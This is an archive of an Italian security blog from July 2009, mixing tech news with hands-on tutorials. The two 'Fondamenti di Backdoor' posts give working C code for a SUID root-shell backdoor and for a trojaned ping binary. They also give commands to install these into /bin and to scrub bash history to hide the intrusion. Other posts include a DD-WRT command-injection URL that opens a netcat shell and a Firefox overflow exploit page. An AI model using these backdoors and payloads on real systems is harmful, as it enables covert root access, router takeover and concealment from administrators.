venerdì 31 luglio 2009

smartphone in pericolo. Rischio sms

Alla Black Hat Conference USA 2009 è stato dimostrato come l’iPhone ma anche tutti gli smartphone basati su Android e Windows Mobile potrebbero essere in pericolo inviando semplicemente un SMS. Nel talk “Fuzzing the Phone in your Phone” http://www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPER.pdf , Miller e Mulliner hanno spiegato come sia possibile, attraverso una serie di messaggi concatenati, mandare in crash l’iPhone e Android. Per ora Windows Mobile è ancora oggetto di analisi da parte dei due ricercatori, che comunque si dicono fiduciosi di poter trovare una falla anche nel sistema made in Redmond. Per quanto riguarda iPhone, Miller e Mulliner sono riusciti, con una serie di SMS appositamente forgiati, a mandare in crash CommCenter, il servizio che regge tutto lo stack telefonico sul melafonino. Con Android le cose sono andate praticamente allo stesso modo, l’attacco in questo caso ha interessato il demone “/system/bin/rild”. Come spiegato dagli autori per Windows Mobile le cose sono state un po’ più complicate e al momento i ricercatori stanno attaccando lo stack telefonico del sistema operativo. Per condurre gli attacchi i ricercatori si sono serviti di Sulley, un fuzzing framework in Python, scaricabile da Google Code attraverso SVN.


Tre sevizi per aiutare il passaggio a Ubuntu


Canonical ha lanciato l’iniziativa “Switch to Ubuntu” e presenta tre offerte per il supporto commerciale ai sistemi desktop equipaggiati con la sua distribuzione. In particolare i pacchetti Starter, Advanced e Professional sono indirizzati a privati e piccole aziende alla ricerca di alternative efficaci alle soluzioni di Microsoft e Apple. Steve George, direttore della divisione Corporate Services di Canonical, ha dichiarato che i servizi offerti saranno apprezzati da chi desidera semplicemente utilizzare il proprio PC senza perdere tempo in configurazioni o distrazioni. Lo Starter Desktop Service include il supporto per l’installazione, la configurazione e le funzionalità di base (accesso ad Internet, creazione documenti, riproduzione contenuti multimediali). Un anno di Starter Desktop Service costa 54,99 dollari mentre un piano di tre anni ne viene a costare 140,22. Advanced Desktop Service è invece indirizzato ad utenti (business) con maggiore esperienza ed esigenze, che magari necessitano di assistenza nel migrare file e impostazioni da un precedente sistema operativo; il pacchetto include anche il supporto per l’installazione avanzata di Ubuntu e per l’utilizzo delle applicazioni più tecniche del sistema, inclusi gli eventuali servizi. Il prezzo del pacchetto è di 114,98 dollari/anno o 293,23 dollari per tre anni. L’ultima offerta è rappresentata da Professional Desktop Service e rappresenta il pezzo forte dell’offerta: supporto all’installazione in ambienti corporate, con integrazione nei sistemi IT esistenti; il pacchetto include inoltre il supporto all’utilizzo della virtualizzazione desktop e garantisce un accesso più rapido agli operatori. I costi variano da 218,54 dollari/anno a 558,42 dollari per tre anni.Gli abbonamenti sono costituiti, ovviamente, dal supporto via mail/telefono e includono aggiornamenti minori e maggiori della distribuzione. Con l’arrivo dei nuovi sistemi operativi di Microsoft, tali servizi potrebbero essere la leva per convincere numerosi utenti, ma soprattutto i dipartimenti di IT, alla migrazione verso Linux, avendo pieno supporto nella migrazione della propria infrastruttura.


Se avete un vecchio PC o siete bloccati con vista, potrete installare Ubuntu e godervi la sua esperienza utente By Steve George

lunedì 27 luglio 2009

Fondamenti di Backdoor parte 2


Nel precedente articolo Fondamenti di Backdoor parte 1, mi ero limitato a descrivere il concetto di backdoor mostrando anche un semplice esempio. In questa seconda puntata descrivo i metodi piu raffinati che vengono utilizzati ancora oggi dagli intrusi oppure dai programmatori. La tecnica consiste nel modificare i sorgenti dei programmi inserendo il bit di SUID nella posizione adeguata all'interno del codice sorgente o nella modifica dei daemon uscenti con uid=0, come ad esempio POP3,FTP o SSH. I daemon (demoni) sono processi server che stanno sempre in ascolto. Il più delle volte vengono inizializzati all'avvio del sistema e poi rimangono in attesa dietro le quinte (background) finché non viene richiesto il loro servizio. Un semplice esempio consiste nel creare una backdoor nell'eseguibile ping, piu precisamente dobbiamo inserire una modifica che consiste nel verificare se il primo argometo(argv[1]) passatogli sia una sequenza di caratteri, come ad esempio fabri8bit. Se la condizine viene soddisfatta, il programma richiamerà una funzine la quale configurerà uid e gid=0 e cancellerà la varibile HISTLIFE, avviando la shell. Per provare in pratica questa soluzione, si devono prima di tutto scaricare i sorgenti del programma ping reperibili, ad esempio, su http://archive.ubuntu.com/ubuntu/pool/main/i/iputils/iputils_20071127.orig.tar.gz oppure li si può scaricare dai repository di gentoo. Una volta scompattato il file .gz dobbiamo concentrarci sul file sorgente ping.c. La prima cosa che dobbiamo fare è cercare la funzione main(int argc, char **argv). La modifica deve essere eseguita poco prima dell'abbandono dei privilegi, e piu precisamente qui:

icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;

if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
{
setuid(0);
setgid(0);
unsetenv("HISTFILE");
execl("/bin/bash","bash","-i",NULL);
}


uid = getuid();
if (setuid(uid))
{
perror("ping: setuid");
exit(-1);
}


Le ultime righe provocano l'abbandono dei privilegi in quanto l'obiettivo principale della funzione getuid() è quello di riportare il suo (attuale) uid(user identifier). Per quando riguarda la funzione setuid() il suo obiettivo invece è quello di impostare l'user-ID del processo corrente. In sostanza l'uso principale di queste funzioni consente ad un programma con i bit suid o sgid impostati di riportare l'user-ID effettivo a quello dell'utente che ha lanciato il programma. Dopo la piccola modifica, non ci resta che ricompilare il programma e copiarlo nella cartella dove risiedono i comuni programmi condivisi dal sistema, dall'amministratore di sistema e dagli utenti ( /bin eheh ). Per chi ha letto la prima parte della guida, sa che prima di compiere questa operazione si deve ottenere in un qualche modo una shell di root. A questo punto non ci resta che compilare:

# cd iputils_20071127.orig
#
make
# cp -f ping /bin/ping
# chmod 4711 /bin/ping
#
exit
$
ping "fabri8bit"
#

Se non vogliamo modificare ogni volta il sorgente, è molto conveniente crearsi una patch per il sorgente ping.c e fare un unico pacchetto nel quale sono compresi i sorgenti da uplodare nel nostro fileserver oppure tenerlo nella chiavetta usb. Utilizzando il comando diff che, sostanzialmente, serve per analizzare due file e riportare le differenze è possibile anche creare un file di patch. Dopo aver digitato tale comando è possibile vedere a video le differenze tra i due file. La creazione di una patch avviene attraverso le seguenti opzioni:

$ diff -urN ping.c ping-back.c > back && cat back

--- ping.c 2009-07-27 17:13:31.886758795 +0200
+++ ping-back.c 2007-12-10 04:56:22.000000000 +0100
@@ -125,15 +125,6 @@
icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
socket_errno = errno;

-if( (argc == 2) && (strcmp(argv[1],"fabri8bit") == 0) )
-{
- setuid(0);
- setgid(0);
- unsetenv("HISTFILE");
- execl("/bin/bash","bash","-i",NULL);
-}
-
-
uid = getuid();
if (setuid(uid)) {
perror("ping: setuid");

Grazie al comando patch, utilizzato per applicare il file di patch creato con le differenze tra un file e un file più recente, è possibile apportare la modifica al file ping.c originale. La modalità di utilizzo è la seguente:

$ patch -p0 <
back

Queste falle nella sicurezza si possono scroprire in diversi modi,per esempio effettuando un controllo di checksum sui file. Pochi amministratori, comunque, effettuano questo tipo di controllo e molte volte capita che i file di checksum vengano custoditi su unità che sono raggiungibili dall'aggressore. Basta, infatti, trovare una collisione, ad esempio sull'algoritmo MD5, ed è possibile ricalcolare il checksum del file binario modificato in aniera del tutto identica al checksum del file originale. Un miglior modo per installare una backdoor consiste nel modificare le libreire del sistema. Un esempio sono le librerie PAM (Pluggable authentication Module) che tratterò la prossima volta.



sabato 25 luglio 2009

Il perchè delle cose....


Salve a tutti, io sono Clizia e da oggi gestirò una nuova sezione del blog, nella quale si tratteranno svariati argomenti di fisica. Tra le tante tematiche, parlerò anche di fisica quantistica applicata alla crittografia. Inoltre, sarò lieta di rispondere ad eventuali domande su diversi argomenti di fisica: se avete, dunque, dubbi o curiosità da soddisfare non esitate a contattarmi!








Pensate che la cosa possa interessarvi?

giovedì 23 luglio 2009

vulnerabilità nel firmware DD-WRT


DD-WRT è un firmware gratuito rilascito sotto licenza GNUv2 per alcuni router Wi-Fi, tra cui il Linksys WRT54G. Recentemente, l'attuale versione stabile del firmware soffre di una grave vulnerabilità che consente di mandare in esecuzione determinati programmi sfruttando i privilegi di root. La vulnerabilità è causata da una gestione poco furba dei metacaratteri presenti all'interno della stringa di ricerca del processo http-server(httpd). Un metacarattere o carattere jolly è un carattere che, all'interno di una stringa, non rappresenta sé stesso bensì un insieme di altri caratteri o sequenze di caratteri. Per quando rigurda l'interfaccia di gestione GUI, essa viene eseguita con i massimi diritti e quindi permette ad un attaccante di inserire all'interno della URL dei comandi che consentono anche di prendere il pieno controllo del rotuer. Come sappiamo di default l'interfaccia web del DD-WRT può essere raggiunta solo attraverso l'interfaccia LAN, pero questa limitazione può essere facilmente aggirata, per esempio con un attacco ti tipo CSRF(Cross-Site Request Falsificazione) che consente praticamente di iniettare l'exploit all'interno del browser. Un attacco di CSRF sfrutta la possibilità di ricreare richieste POST o GET su determinati siti web, per poi essere proposto in un modo per il quale l'utente loggato nel sistema eseguirà i comandi senza essere a conoscenza di cosa relmente sta succedendo. È possibile infine scaricare il fix direttamente dal sito ufficiale http://www.dd-wrt.com

http://IP-router/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh

lunedì 20 luglio 2009

Buffer overflow in firefox 3.5.1

Dopo solo 4 giorni dalla scoperta della vulnerabilità di Tracemonkey, è stata subito trovata una nuova vulnerabilità su Firefox 3.5.1 definita critica da IBM Internet Security Services e da National Vulnerability Database. Questa volta è possibile sfruttare un buffer overflow che tramite il linguaggio JavaScript, è possibile passare al metodo document.write() una stringa Unicode(la dimensine di ogni carattere è di 2
byte) abbastanza lunga da causare anche l'esaurimento della memoria del calcolatore. Mozilla foundation non ha ancora rilasciato una patch, e per il momento consiglio di disabilitare JavaScript fino a quando non verrà risolto il problema. Per disabilitare JavaScript è possibile farlo aggiungendo questo add-ons per firefox reperibile su: https://addons.mozilla.org/it/firefox/addon/722

Exploit esempio:
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);


document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

venerdì 17 luglio 2009

Exploit nel kernel Linux 2.6.30

Lo sviluppatore Brad Spengler che lavora per il proggetto Grsecurity, ha recentemente pubblicato un exploit che sfrutta una vulnerabilità nell'interfaccia TUN nel kernel Linux 2.6.30 e 2.6.18, usati in Red Hat Enterprise Linux 5 (RHEL5). Come sappiamo i driver che permettono la creazine di periferiche di rete virtuali vengono chiamati TUN/TAP. Rispetto alle comuni periferiche (ad es. eth0) che sono controllate direttamente dalle schede di rete, i pacchetti spediti da o verso dispositivi TUN/TAP sono spediti da o verso programmi software. TUN è in grado di simulare una periferica di rete di tipo punto-punto e lavora con pacchetti di tipo IP mentre TAP è in grado di simulare un dispositivo Ethernet e logicamente utilizza i frame Ethernet. Questa vulnerabilità permette ad un malintenzionato di ottenere i privilegi di root. Di particolare interesse è il fatto che l'exploit è anche in grado di aggirare le estensioni di sicurezza come SELinux. Secondo Spengler, la vulnerabilià è stata trovata solo in queste due versioni del kernel. Il problema è causato da una funzione di ottimizzazione del GCC. Il codice riportato di seguito è il responsabile del problema:

static unsigned int tun_chr_poll(struct file *file, poll_table * wait)

struct sock *sk = tun->sk; // initialize sk with tun->sk

if (!tun)
return POLLERR; // if tun is NULL return error

In cuore della vulnerabilità, è in particolare l'istruzine if(!Tun) che dovrebbe restituire un errore se TUN è 0 (nullo). Il compilatore praticamente ottimizza il blocco if eliminando il controllo per puntatori nulli, in quanto la variabile è già deferenziata. L'operazione piu` importante che viene eseguita sui puntatori e quella di dereferenziazione al fine di ottenere accesso all'oggetto puntato. A questo punto, il kernel potrebbe tentare di accedere all''indirizzo 0x00000000 e quindi un utente malintenzionato può cambiare il puntatore ed eseguire uno shellcode. L'exploit quindi, deve essere in grado di aprire il dispositivo /dev/net/tun e utilizzare i moduli caricabili da PulseAudio, che in alcune distribuzioni hanno il bit di SUID attivo. Il codice deve essere in grado deve anche disattivare il "mmap_min_addr" che praticamente limita la quantità di spazio di indirizzamento di un processo. Le future versioni del kernel saranno compilate utilizzando l'opizione "FNO-eliminare-null in modo che il compilatore non elimina i controlli per puntatori nulli.

Exploit: http://www.grsecurity.net/~spender/cheddar_bay.tgz

Disponibile Nmap 5.0


Gli sviluppatori di Insecure.org hanno annunciato il rilascio della versione 5.0 di Nmap, il popolare network mapper . Alcune delle novità piu importanti, sono l'aggiunta di Ndiff che permette di confrontare i file numericamente, utile quando si vogliono confrontare gli output di programmi di calcolo numerico trascurando le differenze di formato e di rappresentazione dei numeri. Inoltre con NSE(Nmap Scripting Engine) permette agli utenti di creare script per automatizzare i compiti più comuni di rete. Con questa caratteristica Nmap diventa uno strumento in grado di effettuare operazioni di recupero informazioni, oppure identificare le vulnerabilità di un sistema e permette quindi anche di ottenere un rapporto con le differenze fra la situazione precedente è quella attuale; maggiori informazioni su NSE sono reperibili nella documentazione ufficiale. Un'altra importante novità di Nmap 5.0 è l'aggiunta di una versione di Ncat ossia il classico “coltellino svizzero” degli hacker. Questa volta si tratta di un Netcat più potente, in grado anche di effettuare trasferimenti di file cifrati.

Per quando riguarda il front-end grafico di Nmap ossia Zenmap GUI è stato aggiornato e migliorato. Zenmap è utile per facilitare la vita a chi si trova in difficoltà con la linea di comando; ma è anche dotato ora di una funzione, la Network Topology che fornisce una rappresentazione grafica animata e in tempo reale della rete analizzata. Per maggiori informazini, visitare http://nmap.org/changelog.html Infine per chi è interessato, consiglio la letture del mio articolo Raccogliere informazioni sul nostro computer

mercoledì 15 luglio 2009

Nuova Vulnerabilità in firefox 3.5


Il portale Milw0rm ha recentemente pubblicato un exploit per Firefox 3.5 che dimostra una nuova vulnerabilità critica nell’interprete JavaScript che potrebbe mettere il browser open source in serio pericolo. Il problema riguarda Tracemonkey, il compilatore JIT (Just In Time) per JavaScript che Mozilla ha sviluppato per tenere il passo della concorrenza in tema di velocità di esecuzione delle applicazioni web. La Mozilla Foundation è stata informata del problema ed è già al lavoro per proporre un aggiornamento nel più breve tempo possibile in quanto un aggiornamento attualmente non esiste. Nel frattempo, si consiglia agli utenti di disabilitare Tracemonkey, con le seguenti operazioni:

1) inserire nella barra degli indirizzi about:config;

2) dopo aver promesso di fare attenzione, scrivere nella casella del filtro in alto jit, in modo da mostrare solo le opzioni che ci interessano;

3) fare doppio click sull’opzione javascript.options.jit.content in modo da impostare il suo valore a false;

Questa per il momento è la soluzione per attenuare la falla, con un calo di prestazioni di Firefox 3.5, in quanto utilizzerà il vecchio interprete JavaScript (quello di Firefox 3.0). Non appena Mozilla Foundation rilascerà l’aggiornamento di sicurezza insieme alla già prevista versione 3.5.0.1, occorrerà ripetere le operazioni di sopra, impostando questa volta il valore a true. In alternativa è possibile avviare Firefox in Modalità provvisoria (Safe mode): questa modalità oltre al compilatore JavaScript disabilita anche tutte le estensioni.

Fondamenti di Backdoor parte 1


Le backdoor sono paragonabili a porte di servizio che consentono di superare in parte o in tutto le procedure di sicurezza attivate in un sistema. Queste "porte" possono essere appositamente create dagli amministratori di sistema, oppure molte delle volte vengono create dai cracker intenzionati a manomettere il sistema. Il processo che porta un cracker a prendere il controllo di un sistema può essere diviso in due fasi. Nella prima fase, l'attacante sfrutta una qualsiasi vulnerabilità del sistema come ad esempio privilege escalation,doppio chroot per ottenere i permessi di root . Nelle seconda fase, l'attaccante se è un tantino furbo si deve assicurare la possibilità in un secondo momento di riprendere nuovamente il controllo del sistema nell'eventualità che vengono scoperti e riparati i bug. Un esempio molto banale di backdoor è quello di aggiungere ad un programma il bit di SUID attivo; che non fa altro che associare all’eseguibile in esecuzione i permessi del proprietario del file. Dal punto di vista della sicurezza ogni programma contenente il bit di SUID configurato, diventa un punto di riferimento per sfrtuttare la scalata verso la conquista dei privilegi. Un esempio di programma che possiamo camuffare all'interno del file system è il seguente:

#include unistd.h
#include sys/types.h
#include stdlib.h



int main ()

{

setuid(0);
setgid(0);

unsetenv("HISTFILE");

execl("/bin/bash","bash","-i",NULL);

return 0;
}


La prima cosa che ho fatto è stata quella di impostare a 0 l'identificazione dell'utente e quello del gruppo in quanto lo 0 è l'identificatore di root. Con il comando unsetenv("HISTFILE"), non faccio altro che eliminare il contenuto della variabile d'ambiente HISTFILE. Esso fa riferimento al nome del file nel quale vengono registrati i comandi dati dalla shell bash. Se questa variabile viene eliminata, la cronologia dei comandi non puo essere piu registrata. Con l'esecuzione della system call execl() eseguo il programma passato come argomento. E' di notevole importanza osservare che il programma passato come argomento della execl rimpiazza lo spazio di indirizzamento del processo padre,per cui al termine dell'esecuzione della execl() non si rientra nel programma chiamante e meno che non capiti una situazione di errore. Il programma lanciato dalla execl() essendo eseguito dalo stesso processo che l'ha invocata, non modifica nessun attributo del processo (pid,ppid,directory corrente e accesso ai file) questa è la santa ragione del perchè ho usato questa system call. Per chi vuole approfondire, consiglio lo studio dei seguenti libri di testo reperibili su www.librinformatica.com: I moderni sistemi operativi - terza edizione oppure Sistemi operativi con esempi per l'uso in Java e infine Linguaggio C in ambiente Linux. Chiusa questa parentesi, a questo punto non ci resta che provare ad eseguire il nostro programma per verificare se abbiamo ottenuto i privilegi di root:


$ gcc shell-suid.c -o shell-suid

$ ./shell-suid

$ id && exit

uid=1000(fabri) gid=1000(fabri) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(fabri)

A quanto pare l'esito del comando id ci suggerisce che l'utente non ha i diritti di root perchè non è stato configurato il bit di SUID per il file shell-suid. Supponiamo che per assurdo siamo riusciti ad ottere i privilegi di root oppure il vostro inquilino cattivo si addormenta per sbaglio nel divano con la shell di root aperte, perchè non approffitarne per installare nel suo sistema la nostra prima backdoor? Beh non dobbiamo fare altro che lanciare chown che serve per cambiare il proprietario al file e infine chmod che serve per cambiare permessi al nostro file eseguibile:


chown [opzioni] [utente][:[gruppo]] nomefile

opizioni:

–R lavora in modo ricorsivo
–from=utente:gruppo cambia i file del utente:gruppo

chmod [opzioni] modalità dei permessi sul file

opzioni:

u Utente proprietario del file
g Gruppo proprietario
o Utente diverso
a Tutti gli utenti indifferentemente

modalità:

r accesso lettura
w permesso scrittura
x permesso esecuzione
s Riguarda file eseguibili e directory (SUID SGID)
t file eseguibili e directory. STICKY bit

#
chown root:root shell-suid
# chmod +s shell-suid
# exit

Adesso ogni utente che attiverà il programma riceverà i privilegi della shell di root. Se infine vogliamo fare un lavoro pulito, dobbiamo cancellare anche la cronologia degli ultimi comandi che abbiamo digitato.

$ cd /home/fabri/cartella/troppo_nascosta

$ ./shell-suid


# cd /home/fabri/


# nano .bash_history


Questa è una soluzione semplice,ma anche molto facile da scoprire tramite il comando find. il comando find permette di ricercare i file con determinate caratteristiche. Con l'opzione -perm è possibile specificare i permessi come criterio di ricarca. Nel caso vogliamo ricercare i file con SetUserId occorre specificare il parametro -004000. Un esempio di ricerca di programmi eseguibili con il bit SUID e SGID(stessa cosa per il gruppo) attivo è la seguente:

# find / \( -perm -004000 -o -perm -002000 \) -ls

Se noi inizialmente creiamo una lista di tutti i file con i relativi bit di suid attivi e poi ogni tanto ricreiamo un'altra lista,la possiamo confrontare con quella iniziale e subito ci accorgiamo della backdoor.

# find / \( -perm -004000 -o -perm -002000 \) > lista-inizio.txt

# find / \( -perm -004000 -o -perm -002000 \) > lista-controllo.txt

# diff lista-inizio.txt lista-controllo.txt | grep ^

> /home/fabri/cartella/troppo_nascosta/shell-suid

La prima parte sulle backdoor finisce qui.

giovedì 9 luglio 2009

Nuova Vulnerabilità in Wordpress 2.8!

Core Security ha recentemente scoperto una nuova vulnerabilità su Wordpress, uno dei migliori software per la creazione e la gesione di blog. In particlare gli utenti registrati, ma senza privilegi, sono in grado di esaminare le pagine di configurazione del plug-in e di cambiare le loro opzioni. Il cuore della vulnerabilità è attribuito al plug-in "admin.php", in quanto non verifica i diritti di accesso ai file. Core Labs, nella sua relazione, ha elencato alcuni esempi di URL per dimostrare come i plug-in - compreso il modulo per la WP PHPIDS (PHP-Intrusion Detection System) possono essere manipolati.

Il plug-in "Related Ways To Take Action" è soggetto ad eventuali attacchi di tipo scripting cross-site che permettono a un utente malintenzionato di esegure del JavaScript all'interno del browser della vittima, per leggere, ad esempio, il contenuto dei cookie del sistema. Le versioni di Wordpress al momento vulnerabili sono: tutte le versioni fino alla Wordpress 2.8 e fino a Wordpress MU (multi-user) 2.7.1. Queste vulnerabilità possono essere eliminate utilizzando la versione 2.8.1 e MU 2.8.1, che dovrebbero essere presto disponibili per il download. Attualmente, la versione 2.8.1 è disponibile solo come distribuzione candidate. Per il momento questa vulnerabilità può essere attenuata controllando l'accesso ai file all'interno della cartella wp-admiutilizzando il file (.Htaccess) di Apache.

Per maggiori dettagli:

http://www.securityfocus.com/bid/35581
http://www.securityfocus.com/bid/35584

http://corelabs.coresecurity.com/index.php?action=view&type=advisory&name=WordPress_Privileges_Unchecked

mercoledì 8 luglio 2009

Il portale Milw0rm ha chiuso!


www.milw0rm.com uno dei maggiori portali piu popolati su internet oggi ha smesso di operare. Nella sua pagina principale ha lasciato il seguente messaggio che informa la chiusura del portale:

For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of. 0 to 72 hours isn't fair to the (exploit) authors on this site.

Str0ke l'operatore del portale, non spiega chiaramente se questa decisione è semplicemente dovuto ad una mancanza di tempo oppure ad un crescente numero di exploit, e quindi non sappiano con esattezza se l'intero database sarà ancora disponibile. E' inoltre possibile che in questi giorni, altri membri della comunità si facciano avanti per sostenere str0ke ed offrire la loro completa disponibilità per mandare avanti la gestione dell'intero portale. Per gli interessati ,il portale www.packetstormsecurity.org attivo ormai da più di dieci anni,è una possibile alternativa a milwOrm.

Google ChromeOS: Sarà un sistema operativo efficente?

Google ha appena annunciato la nascita di un suo sistema operativo, estremamente leggero e veloce, che prende il nome di Google Chrome OS, futuro concorrente del dominatore Windows. L’obiettivo principale è di essere un sistema operativo che funzioni al meglio su alcuni modelli di computer portatili di ultima generazione pensati per gli utenti che hanno bisogno di lavorare e accedere a internet in mobilità. Chrome OS è basato principalmente su un nuovo tipo di panorama informatico, nel quale i computer sono sempre più rivolti a internet. Inoltre Google os è in stretta concorrenza con Microsoft Office e Internet Explorer, realizzando cosi propri programmi per la videscrittura, il calcolo, la navigazione in rete. Google assicura che il sistema non andrà in conflitto con Android, si tratta infatti di due sistemi operativi pensati per differenti utilizzi. Android continuerà ad equipaggiare smartphone e cellulari di ultima generazione, mentre Google Chrome OS sarà dedicato agli utenti che vogliano un sistema operativo veloce, stabile e sicuro che in pochi secondi permetta di utilizzare i servizi Web. Poichè Chrome OS avrà un cuore Linux, potrà essere usato sia sui portatili che sui computer desktop più potenti, oltre che in piattaforme ARM. La notizia piu bella è che Google Chrome OS sarà interamente open source e basato sul kernel Linux, ma al momento non sono stati indicati repository che permettano di scaricare delle versioni preliminare di Google OS, tuttavia il team di Google assicura che entro il 2009 il codice sorgente sarà rilasciato e la comunità open source potrà contribuire al progetto. A maggio 2009, secondo i dati forniti da NetApplications, Windows era presente in oltre l'87 per cento dei pc. Al momento, il concorrente più significativo è il Mac OS X, con il 9,8 per cento. I vari sistemi operativi Linux si dividono attualmente circa l'1 per cento del mercato. Ma presto google OS conquistera una buona fetta di mercato e forse questa è la volta buona per una netta vittoria della comunità opensource contro Windows che regna incontrastato gia da diversi decenni.

martedì 7 luglio 2009

Attacco al progetto CentOS server

XOOPS è un sistema di gestione dei contenuti (content management system) che permette agli amministratori di creare facilmente siti web dinamici. È un potente strumento per lo sviluppo di piccole e grandi comunità virtuali. È scritto in PHP e utilizza database come MySQL. Recentemente un errore di configurazione nel sistema di gestione dei contenuti Xoops, ha permesso a persone non autorizzate l'accesso al server web principale del progetto CentOS. L'amministratore di sistema Ralph Angenendt, afferma che nel sistema nessun dato è stato danneggiato o rubato. Per precauzione, si raccomanda a tutti gli utenti del CMS Xoops di cambiare password. L'attacco è stato scoperto Venerdì 3 luglio, quando gli amministratori hanno trovato alcuni file sospetti su CentOS server.

lunedì 6 luglio 2009

Problemi di sicurezza in Symbian OS

Symbian OS è un sistema operativo aperto adottato come standard dalle principali aziende mondiali, produttrici di dispositivi per la telefonia mobile (cellulari, smartphones, PDA). Dal punto di vista della sicurezza, continua a essere considerato un sistema operativo molto sicuro. Recentemente in un documento intitolato "From 0 to 0Day on Symbian", l'esperto in sicurezza Bernhard Müller descrive in modo dettagliato, la possibilità di scovare eventuali vulnerabilità nelle applicazioni e nel sistema operativo Symbian . Analizzando il contenuto statico della ROM di un Nokia N96 con Symbian S60 (3a) contenente piu di 3.300 DLL e altri file eseguibili è stato possibile analizzare la presenza di vulnerabilità e chiamate a funzioni non sicure come ad esempio le chiamata a strcpy() e sprintf() implementate in molte applicazioni Symbian scritte in C e OpenC. Per il momento, Müller non ha presentato nussun exploit. Per approfondire l'argomento segnalo il seguente pdf scritto dal SEC Consult.

https://www.sec-consult.com/files/SEC_Consult_Vulnerability_Lab_Pwning_Symbian_V1.03_PUBLIC.pdf





venerdì 3 luglio 2009

X Window System piu sicuro

Linus Torvalds ha annunciato qualche giorno fa l’avvio della fase di consolidamento del kernel Linux 2.6.31. Il nuovo kernel 2.6.31 atteso per fine agosto o inizio settembre, porterà con se nuovi e importanti miglioramenti. Sicuramente una delle tante funzionalità più importante sarà il supporto al KMS(Kernel Mode Setting) per schede video ATI Radeon. Il KMS è una funzionalità che consentirà al Kernel di poter configurare e controllare maggiormente le impostazioni grafiche. Alcune delle funzioni dei moduli interni prima svolte dall’X Server, tra cui il DRM (Direct Rendering Manager) ora saranno direttamente implementate nel Kernel Linux. Con l’introduzione del KMS gli sviluppatori stanno lavorando per migliorare la possibilità di creare anche un X Server senza possedere i privilegiato di root. Questo è sicuramente un vantaggio in termini di sicurezza del sistema in quando evitiamo la possibilità che un aggressore sfrutti un buffer overflow ed esegue del codice da remoto, con privilegi di root. In seguito, se vogliamo sfruttare questa importante funzionalità è necessario avere una scheda Intel o Ati. Mentre per quando riguarda la scheda video Nvidia bisognerà attendere la patch da applicare ad X ed al DRI nel kernel.

Attacco boomerang AES


Qualche anno fa NIST(National Institute of Standards and Technolo
gy, organismo federale degli USA per lo sviluppo e l’evoluzione della tecnologia, ha lanciato un contest per trovare un algoritmo di crittografia che potesse sostituire il DES. Il nuovo sistema avrebbe preso il nome di AES (Advanced Encryption Standard). Oggi AES è il sistema crittografico a blocchi scelto nel 2001 come sostituto del DES standard del governo USA. Oggi esistono 3 varianti di AES, che offrono 3 livelli di sicurezza basati sulla lunghezza della chiave segreta: 128, 192 e 256 bit. Bruce Schneier, in un articolo pubblicato sul suo blog, segnala un nuovo attacco ad AES. Tengo a scecificare che l’analisi per il momento è solo teorica. Precisamente nel documento PDF https://cryptolux.uni.lu/mediawiki/uploads/1/1a/Aes-192-256.pdf (è necessario scaricare il certificato ssl) , scritto da Alex Biryukov e Dmitry Khovratovich vengono presentati due attacchi:

1. per l’AES-256, si mostra il primo attacco per recuperare la chiave crittografica che funziona per tutte le chiavi;

2. il secondo invece costituisce il primo attacco di crittoanalisi per l’AES-192;

In entrambi i casi, gli autori hanno adottato tecniche di crittoanalisi avanzate che prende il nome di “attacco boomerang“. Lo stesso Schneier apprezza la ricerca e, nonostante sia meglio rispetto ad un attacco di tipo “forza bruta”, siamo ancora lontani dall’affermare che l’algoritmo è stato infranto. Per capire meglio il funzionamento di AES, segnalo questo sito http://formaestudio.com/rijndaelinspector/ dove è possibile scaricare due animazioni in flash.

giovedì 2 luglio 2009

Raccogliere informazioni sul nostro computer

Nmap(port scanning and finger printing tool) è un software Network mapper distribuito con licenza GNU GPL da Insecure.org,crato con l'idea di essere un tool per semplici port scanning. Successivamente è diventato una vera suite di componenti indispensabili per amministratori di sistema,ma è usato anche dai cracker e dagli script kiddie. Prima di tutto è necessario sapere due concetti essenziali: l'auditing informatico e il penetration testing. L'auditing informatico è l'operazione per il quale una persona, controlla un sistema assicurandosi il suo corretto funzionamento, ovvero non deve essere esposto a nessun rischio conosciuto. Grazie all'auditing, veniamo a conoscenza su cosa potrebbe provocare dei danni al nostro sistema, ma aiuta anche a migliorare l'antamento delle prestazini evitando ad esempio alcuni DoS. Il penetration testing , è un metodo per testare la sicurezza informatica di un sistema in modo tale da simulare un attacco. Qesto processo non fa altro che vedere se il sistema è vulnerabile a tutte le techiche di attacco e falle conosciute(incluso la configurazione dei servizi,ovvero lasciare il file di configurazione di default di alcuni programmi).Si distiunguno due tipi di penetration testing: BlackBOX e WhiteBox testing. Con il BlackBOX ,si assume che non si ha nessuna informazione del sistema o infrastuttura da controllare,invece con il WhiteBox si ha la competa conoscenza del sistema che si deve sottoporre al test. In questo post analizzeremo il funzionamento di nmap in versione Target specification, specificando uno specifico target per il nostro finto attacco. Il caso piu` semplice consiste nello specificare un indirizzo IP oppure un nome di host obbiettivo(Es: nmap 192.168.1.1 ) per iniziare cosi la scansione di 1660 porte TPC. A volte puo` essere utile scansionare un'intera rete di host adiacenti, infatti Nmap supporta l'indirizzamento CIDR. Se avete difficoltà sulle nozioni di reti, consiglio lo studio obbligatorio di questi due libri: Internet e reti di calcolatori-seconda edizione e Reti di calcolatori e internet un approccio top-down-quarta edizione. Molto importante è l'argomento che tratta la programmazione dei socket; consiglio di leggere il Gpil che è possibile scaricare da http://gapil.truelite.it/download.html. La base di nmap è sempre stata il port scanning infatti tutto il programma è basato su un avanzato port scanning. Le porte per Nmap possono essere in 6 stati:

1) Open-port: un host riesce ad accettare connessioni su questa porta.

2) Close-port: Chiusa ma accessibile, ovvero nessun programma è in ascolto su quella porta

